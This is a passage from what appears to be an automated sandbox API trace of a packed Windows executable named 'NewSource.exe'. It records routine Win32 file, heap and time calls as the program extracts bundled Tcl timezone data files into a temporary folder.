dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.380] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.380] GetFileType (hFile=0x10c) returned 0x1 [0041.380] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.380] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.380] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.380] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.380] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.380] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.380] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.380] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.380] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.381] CloseHandle (hObject=0x10c) returned 1 [0041.381] GetLastError () returned 0x0 [0041.381] SetLastError (dwErrCode=0x0) [0041.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.381] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.381] GetFileType (hFile=0x10c) returned 0x1 [0041.381] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.381] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.381] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.381] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.381] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.381] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.381] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.381] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.381] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.381] CloseHandle (hObject=0x10c) returned 1 [0041.381] GetLastError () returned 0x0 [0041.381] SetLastError (dwErrCode=0x0) [0041.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile") returned 62 [0041.381] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\chile"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.381] GetLastError () returned 0x2 [0041.381] SetLastError (dwErrCode=0x2) [0041.381] GetLastError () returned 0x2 [0041.381] SetLastError (dwErrCode=0x2) [0041.381] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile", lpFilePart=0x0) returned 0x3d [0041.381] GetLastError () returned 0x2 [0041.382] SetLastError (dwErrCode=0x2) [0041.382] GetLastError () returned 0x2 [0041.382] SetLastError (dwErrCode=0x2) [0041.382] GetLastError () returned 0x2 [0041.382] SetLastError (dwErrCode=0x2) [0041.382] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\chile"), lpSecurityAttributes=0x0) returned 1 [0041.382] GetLastError () returned 0x2 [0041.382] SetLastError (dwErrCode=0x2) [0041.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile\\Continental") returned 74 [0041.382] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile\\Continental" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\chile\\continental"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.382] GetLastError () returned 0x2 [0041.382] SetLastError (dwErrCode=0x2) [0041.382] GetLastError () returned 0x2 [0041.382] SetLastError (dwErrCode=0x2) [0041.382] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile\\Continental", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile\\Continental", lpFilePart=0x0) returned 0x49 [0041.382] GetLastError () returned 0x2 [0041.382] SetLastError (dwErrCode=0x2) [0041.382] GetLastError () returned 0x2 [0041.382] SetLastError (dwErrCode=0x2) [0041.382] GetLastError () returned 0x2 [0041.382] SetLastError (dwErrCode=0x2) [0041.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile\\Continental") returned 74 [0041.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.382] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile\\Continental" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\chile\\continental"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.383] GetFileType (hFile=0x10c) returned 0x1 [0041.383] htonl (hostlong=0xbd000000) returned 0xbd [0041.383] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.383] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbd, lpOverlapped=0x0) returned 1 [0041.384] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.384] CloseHandle (hObject=0x10c) returned 1 [0041.384] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d9a0 | out: hHeap=0x530000) returned 1 [0041.384] htonl (hostlong=0x30000000) returned 0x30 [0041.385] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.385] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.385] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.385] GetFileType (hFile=0x10c) returned 0x1 [0041.385] htonl (hostlong=0xf8a55b00) returned 0x5ba5f8 [0041.385] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6055f8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.385] htonl (hostlong=0x8c000000) returned 0x8c [0041.385] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0041.385] htonl (hostlong=0x8c000000) returned 0x8c [0041.385] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.385] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.385] htonl (hostlong=0xb8000000) returned 0xb8 [0041.385] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb8) returned 0x550600 [0041.385] htonl (hostlong=0x8c000000) returned 0x8c [0041.385] htonl (hostlong=0xb8000000) returned 0xb8 [0041.385] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.385] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.385] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.385] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.385] CloseHandle (hObject=0x10c) returned 1 [0041.385] GetLastError () returned 0x0 [0041.385] SetLastError (dwErrCode=0x0) [0041.385] GetLastError () returned 0x0 [0041.385] SetLastError (dwErrCode=0x0) [0041.385] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.385] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.386] GetFileType (hFile=0x10c) returned 0x1 [0041.386] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.386] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.386] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.386] CloseHandle (hObject=0x10c) returned 1 [0041.386] GetLastError () returned 0x0 [0041.386] SetLastError (dwErrCode=0x0) [0041.386] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.386] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.386] GetFileType (hFile=0x10c) returned 0x1 [0041.386] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.386] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.387] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.387] CloseHandle (hObject=0x10c) returned 1 [0041.387] GetLastError () returned 0x0 [0041.387] SetLastError (dwErrCode=0x0) [0041.387] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile") returned 62 [0041.387] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\chile"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.387] GetFileType (hFile=0x10c) returned 0x1 [0041.387] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.387] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.387] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.387] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.387] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.387] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.387] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.387] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.387] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.387] CloseHandle (hObject=0x10c) returned 1 [0041.387] GetLastError () returned 0x0 [0041.387] SetLastError (dwErrCode=0x0) [0041.387] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile\\EasterIsland") returned 75 [0041.387] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile\\EasterIsland" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\chile\\easterisland"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.387] GetLastError () returned 0x2 [0041.387] SetLastError (dwErrCode=0x2) [0041.387] GetLastError () returned 0x2 [0041.387] SetLastError (dwErrCode=0x2) [0041.388] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile\\EasterIsland", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile\\EasterIsland", lpFilePart=0x0) returned 0x4a [0041.388] GetLastError () returned 0x2 [0041.388] SetLastError (dwErrCode=0x2) [0041.388] GetLastError () returned 0x2 [0041.388] SetLastError (dwErrCode=0x2) [0041.388] GetLastError () returned 0x2 [0041.388] SetLastError (dwErrCode=0x2) [0041.388] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile\\EasterIsland") returned 75 [0041.388] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.388] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Chile\\EasterIsland" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\chile\\easterisland"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.388] GetFileType (hFile=0x10c) returned 0x1 [0041.388] htonl (hostlong=0xb8000000) returned 0xb8 [0041.388] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.388] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb8, lpOverlapped=0x0) returned 1 [0041.410] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.410] CloseHandle (hObject=0x10c) returned 1 [0041.410] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.411] htonl (hostlong=0x30000000) returned 0x30 [0041.411] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.411] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.411] GetFileType (hFile=0x10c) returned 0x1 [0041.411] htonl (hostlong=0x84a65b00) returned 0x5ba684 [0041.411] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x605684, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.411] htonl (hostlong=0x85000000) returned 0x85 [0041.411] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x85) returned 0x55cfe0 [0041.411] htonl (hostlong=0x85000000) returned 0x85 [0041.411] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.411] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.411] htonl (hostlong=0xaa000000) returned 0xaa [0041.411] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaa) returned 0x550600 [0041.411] htonl (hostlong=0x85000000) returned 0x85 [0041.411] htonl (hostlong=0xaa000000) returned 0xaa [0041.411] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.411] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.411] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.411] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.411] CloseHandle (hObject=0x10c) returned 1 [0041.411] GetLastError () returned 0x0 [0041.412] SetLastError (dwErrCode=0x0) [0041.412] GetLastError () returned 0x0 [0041.412] SetLastError (dwErrCode=0x0) [0041.412] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.412] GetFileType (hFile=0x10c) returned 0x1 [0041.412] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.412] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.412] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.412] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.412] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.412] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.412] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.412] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.412] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, 